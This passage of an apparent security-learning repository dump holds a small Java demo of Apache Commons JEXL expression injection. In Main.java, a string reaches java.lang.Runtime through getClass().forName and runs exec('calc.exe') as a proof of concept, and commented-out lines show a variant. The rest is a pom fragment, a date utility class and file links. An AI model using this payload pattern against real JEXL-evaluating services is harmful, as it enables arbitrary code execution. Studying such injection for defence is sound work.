6 |
7 | org.example
8 | JxelDemo
9 | 1.0-SNAPSHOT
10 |
11 |
12 | 8
13 | 8
14 | UTF-8
15 |
16 |
17 |
18 |
19 | org.apache.commons
20 | commons-jexl3
21 | 3.2.1
22 |
23 |
24 | org.apache.commons
25 | commons-lang3
26 | 3.12.0
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/src/main/java/org/example/DateUtils.java:
--------------------------------------------------------------------------------
1 | package org.example;
2 | import java.text.ParseException;
3 | import java.time.LocalDate;
4 | import java.time.LocalDateTime;
5 | import java.time.Period;
6 | import java.time.format.DateTimeFormatter;
7 | import java.util.*;
8 | import org.apache.commons.lang3.time.FastDateFormat;
9 |
10 | public class DateUtils {
11 | public static String dateStrFormatDay(String dateStr, String format) throws ParseException {
12 | FastDateFormat dateFormat = FastDateFormat.getInstance(format);
13 | Date parse = dateFormat.parse(dateStr);
14 | dateFormat=FastDateFormat.getInstance("yyyyMMdd");
15 | return dateFormat.format(parse);
16 | }
17 | }
18 |
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/src/main/java/org/example/Main.java:
--------------------------------------------------------------------------------
1 | package org.example;
2 |
3 | import org.apache.commons.jexl3.*;
4 |
5 | import java.util.HashMap;
6 |
7 | public class Main {
8 | public static void main(String[] args) {
9 |
10 | System.out.println("Hello world!");
11 | JexlEngine jexl = new JexlBuilder().create();
12 | JexlContext jc = new MapContext();
13 | // jc.set("runtime", "Runtime.class");
14 | // String jexlExp = "runtime.getRuntime().exec('calc.exe')";
15 | // JexlExpression e = jexl.createExpression(jexlExp);
16 |
17 | // HashMap sourceMap = new HashMap<>();
18 | // sourceMap.put("ctime", "calc.exe");
19 | // jc.set("map", sourceMap);
20 | jc.set("sssss", DateUtils.class);
21 | String rangExpression = "sssss.getClass().forName('java.lang.Runtime').getRuntime().exec('calc.exe')";
22 | jexl.createExpression(rangExpression.trim()).evaluate(jc);
23 |
24 | }
25 | }
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/target/classes/org/example/DateUtils.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/express/jexl/JxelDemo/target/classes/org/example/DateUtils.class
--------------------------------------------------------------------------------
/express/jexl/JxelDemo/target/classes/org/example/Main.class:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/express/jexl/JxelDemo/target/classes/org/example/Main.class
--------------------------------------------------------------------------------
/img.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/img.png
--------------------------------------------------------------------------------
/img_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/img_1.png
--------------------------------------------------------------------------------
/img_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wangsz05/LearnDemo/bc959343f0fe0f473b7054553244b0e71581f8db/img_2.png
--------------------------------------------------------------------------------